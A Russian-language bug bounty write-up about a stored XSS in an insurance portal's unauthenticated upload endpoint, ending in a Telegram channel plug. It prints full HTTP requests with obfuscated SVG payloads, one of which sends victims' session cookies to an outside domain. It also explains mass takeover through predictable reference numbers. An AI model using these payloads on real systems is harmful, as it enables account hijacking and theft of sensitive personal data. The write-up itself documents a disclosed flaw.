
Представьте себе платформу, предназначенную для обработки конфиденциальной информации — например, страховых заявлений или идентификации личности. Такие места часто превращаются в золотую жилу для атакующих. Именно на это я и наткнулся, исследуя функцию загрузки файлов на портале, связанном со страхованием. То, что начиналось как быстрая проверка, привело к обнаружению уязвимости межсайтового скриптинга (XSS), которая могла бы позволить массовый угон аккаунтов. Давайте разберёмся.
Точка входа
Система позволяла пользователям загружать файлы для резервного копирования своих форм — обычная функция для такой платформы. Вы загружаете файл, он связывается с референсным номером (refNo) (например, R2326400539 для пользователя, которого мы назовем Джон), и позже мы можем просмотреть его на отдельной странице:
https://[redacted].com/xxx.asp?refNo=R2326400539
На первый взгляд ничего особенного. Но когда я заглянул в запрос на загрузку, то заметил параметр под названием fileUidList — строку, определяющую метаданные файла. Любопытство взяло верх: что если я изменю ее?
Я создал запрос, внедрил XSS-пейлоад в fileUidList и связал его с действительным референсным номером, например, R2326400540 в параметре njfbRefNo. Сервер без колебаний принял мою изменённую загрузку.
Поджигаем фитиль
Вот запрос, который я использовал для запуска простого уведомления:
POST /[redacted]/[redacted].do HTTP/1.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/117.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------25285536543518840322221354714
Content-Length: 761
Origin: [redacted]
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Te: trailers
Connection: close
-----------------------------25285536543518840322221354714
Content-Disposition: form-data; name="njfbRefNo"
R2326400540
-----------------------------25285536543518840322221354714
Content-Disposition: form-data; name="actId"
-----------------------------25285536543518840322221354714
Content-Disposition: form-data; name="maxUploadContentSize"
104857601
-----------------------------25285536543518840322221354714
Content-Disposition: form-data; name="fileUidList"
10006630~!~/[redacted]/a/unix/apps/WAS/FileService/files/[redacted]/2023/9/21~!~xss"><svg><set onbegin="d=document,b='`',d['loca'+'tion']='javascript:aler'+'t'+b+domain+b"> .png~!~649159
-----------------------------25285536543518840322221354714--
Сервер ответил 200 Ok, и XSS-пейлоад был теперь сохранён под refNo R2326400540
https://[redacted].com/xxx.asp?refNo=R2326400540
От XSS до захвата учетной записи
Поскольку мой вредоносный файл теперь хранился под референсным ID пользователя, меня осенило: это может быть направлено на кого угодно — настоящих, прошлых или будущих пользователей. Эти номера — числовые и предсказуемые, поэтому злоумышленник может систематически атаковать их. Все оказалось еще лучше (или хуже), сеансовая кука — назовём её SESSIONID — не была помечена как HTTP-only, а это значит, что JavaScript мог её перехватить.
Я поднял ставки с новой полезной нагрузкой. На этот раз я установил fileUidList так, чтобы перенаправить браузер жертвы на контролируемый мной домен, добавляя в URL их куки. Вот запрос:
POST /[redacted]/[redacted].do HTTP/1.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/117.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------25285536543518840322221354714
Content-Length: 761
Origin: [redacted]
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Te: trailers
Connection: close
-----------------------------25285536543518840322221354714
Content-Disposition: form-data; name="njfbRefNo"
R2326400551
-----------------------------25285536543518840322221354714
Content-Disposition: form-data; name="actId"
-----------------------------25285536543518840322221354714
Content-Disposition: form-data; name="maxUploadContentSize"
104857601
-----------------------------25285536543518840322221354714
Content-Disposition: form-data; name="fileUidList"
10006630~!~/[redacted]/a/unix/apps/WAS/FileService/files/[redacted]/2023/9/21~!~xss"><svg><set onbegin="d=document,b='`',d['loca'+'tion']='//bxmbn.com/?'+b+cookie+b"> .png~!~649159
-----------------------------25285536543518840322221354714--
Я загрузил это под номером R2326400551, открыл страницу просмотра и проверил свой сервер. Точно, SESSIONID Джона оказался в моих логах. С этим токеном я мог бы проникнуть в его аккаунт — без необходимости ввода пароля. Применяя атаку ко всем пользователям, вы получаете множество захваченных аккаунтов.
Аутентификация не требуется
Настоящий шок: конечная точка загрузки даже не проверяла, вошел ли я в систему. Я мог отправлять эти запросы анонимно, внедряя XSS в файлы любого пользователя без какой-либо аутентификации. Никакой валидации сессии, никаких проверок доступа — просто открытое приглашение. Этот факт сам по себе превращает ситуацию в кошмар.
Последствия
Последствия ужасающие. Благодаря предсказуемым идентификаторам и отсутствию защиты HTTP-only для сеансовой куки, злоумышленник может автоматизировать процесс — загружая вредоносные файлы на множество референсных номеров и ожидая, пока жертвы "попадут в ловушку". Каждый визит на страницу просмотра мог бы передать их сессию, открывая путь к массовым захватам аккаунтов. Результатом может быть: украденные аккаунты, подделанные данные или даже что-то похуже.
Отсутствие аутентификации на конечной точке загрузки закрепляет проблему. Для реализации этой атаки не нужен аккаунт — достаточно нескольких референсных ID.
Оценка ущерба
Согласно CVSS 3.1, это высокая оценка: доступ через сеть, низкая сложность, отсутствие необходимости в привилегиях, требуется взаимодействие с пользователем, и утечка данных с высокой конфиденциальностью. Учитывая критичность используемых данных, это проблема высшего уровня.

Заключительные мысли
Эта уязвимость является идеальным сочетанием недочетов: отсутствие проверки аутентификации, хранимый межсайтовый скриптинг (stored XSS) и уязвимые сессионные куки превратили стандартную систему загрузки в игровую комнату атакующего. Атакующий мог также редактировать предыдущие файлы пользователей, внедряя XSS во все файлы, просто изменяя параметр референсного номера (njfbRefNo).
Теперь, оглядываясь назад, можно сказать, что вознаграждение в 5000 $ было слишком низким, учитывая, что эта компания является одной из крупнейших в своей области.
Ещё больше познавательного контента в Telegram-канале — Life-Hack - Хакер